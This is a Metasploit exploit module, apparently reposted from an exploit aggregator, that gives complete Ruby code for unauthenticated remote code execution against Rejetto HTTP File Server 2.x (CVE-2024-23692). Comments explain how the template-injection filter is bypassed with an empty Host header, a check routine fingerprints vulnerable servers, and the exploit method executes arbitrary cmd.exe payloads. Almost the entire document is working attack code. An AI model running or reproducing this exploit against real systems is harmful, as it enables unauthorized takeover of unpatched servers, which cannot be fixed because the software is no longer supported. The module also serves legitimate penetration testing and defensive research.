Share
## https://sploitus.com/exploit?id=1337DAY-ID-39652
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution',
        'Description' => %q{
          The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template
          injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges
          of the user account running the HFS.exe server process. This exploit has been tested to work against version
          2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers
          and no patch is available. Users are recommended to upgrade to newer supported versions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # Metasploit exploit
          'Arseniy Sharoglazov' # Original finder
        ],
        'References' => [
          ['CVE', '2024-23692'],
          ['URL', 'https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/'],
        ],
        'DisclosureDate' => '2024-05-25',
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            # Tested against Rejetto HFS version:
            # * 2.4.0 RC7
            # * 2.3m
            'Automatic', {}
          ],
        ],
        'Payload' => {
          'BadChars' => '"'
        },
        'DefaultOptions' => {
          'RPORT' => 80
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            # If the HFS.exe process is run in a desktop session, the payload cmd.exe window will momentarily popup.
            SCREEN_EFFECTS
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', '']),
      ]
    )
  end

  def send_ssti_request_cgi(template, opts = {})
    opts['vars_get'] ||= {}
    opts['headers'] ||= {}

    # The 'search' query parameter is echoed into the content before server side template processing occurs on the
    # content being processed. Under normal operation any user supplied content will be escaped, so any symbols, which
    # are encoded as '%symbol%' and macro which are encoded as '{:macro:}' will be escaped to prevent SSTI.

    # However we can force a percent symbol to become un-escaped. This allows us to embed any symbol in the content
    # being processed. We can leverage this to force the '%url%' symbol to become unescaped. This will echo back the
    # remainder of the un-encoded URL into the server side content.

    # To inject our own content, we need to first write a MARKER_UNQUOTE ':}' sequence,
    # however this will be filtered. We can then bypass the filtering for ':}' by leveraging the %host% symbol and an
    # empty host header value. So ':%host%}' will become ':}' and this will not be escaped. After this happens we can
    # perform an arbitrary template injection of any HFS symbols or macros we want.

    opts['vars_get'].merge!({
      'search' => "%25#{Rex::Text.rand_text_alpha(1)}%25url%25:%host%}#{template}"
    })

    # The Host header must be an empty string for the above symbol substitution to bypass the MARKER_UNQUOTE filtering.
    opts['headers'].merge!({
      'Host' => ''
    })

    opts['method'] = ['GET', 'POST'].sample

    opts['uri'] = normalize_uri(target_uri.path)

    opts['encode_params'] = false

    send_request_cgi(opts)
  end

  def check
    cookie_name = Rex::Text.rand_text_alphanumeric(32)
    cookie_value = Rex::Text.rand_text_alphanumeric(32)

    # Our check routine will leverage the SSTI vulnerability and use it to read a cookie value by its name, writing
    # this value to the response output. In addition we will write the current server version into the response output.
    # We can therefore verify if a target is vulnerable by first confirming the expected cookie value is now present
    # in the response output, and if so we can also pull out the target servers version number.
    res = send_ssti_request_cgi(
      "{.cookie|#{cookie_name}.}=%version%=",
      {
        'headers' => {
          'Cookie' => "#{cookie_name}=#{cookie_value}"
        }
      }
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    version = res.body.match(/#{cookie_value}=([^=]+)=/)

    return CheckCode::Vulnerable("Rejetto HFS version #{version[1]}") if version

    CheckCode::Safe
  end

  def exploit
    command_string = "\"cmd\" \"/c #{payload.encoded}\""

    command_chars = command_string.unpack('C*').join('|')

    # To get code execution we leverage the 'exec' macro. We must leverage the 'chr' macro to construct an arbitrary
    # command string in order to avoid the server filtering out certain characters such as '%'. To avoid executing the
    # payload 4 times, we leverage the 'break' macro to stop processing the output.
    send_ssti_request_cgi("{.exec|{.chr|#{command_chars}.}.}{.break.}")
  end
end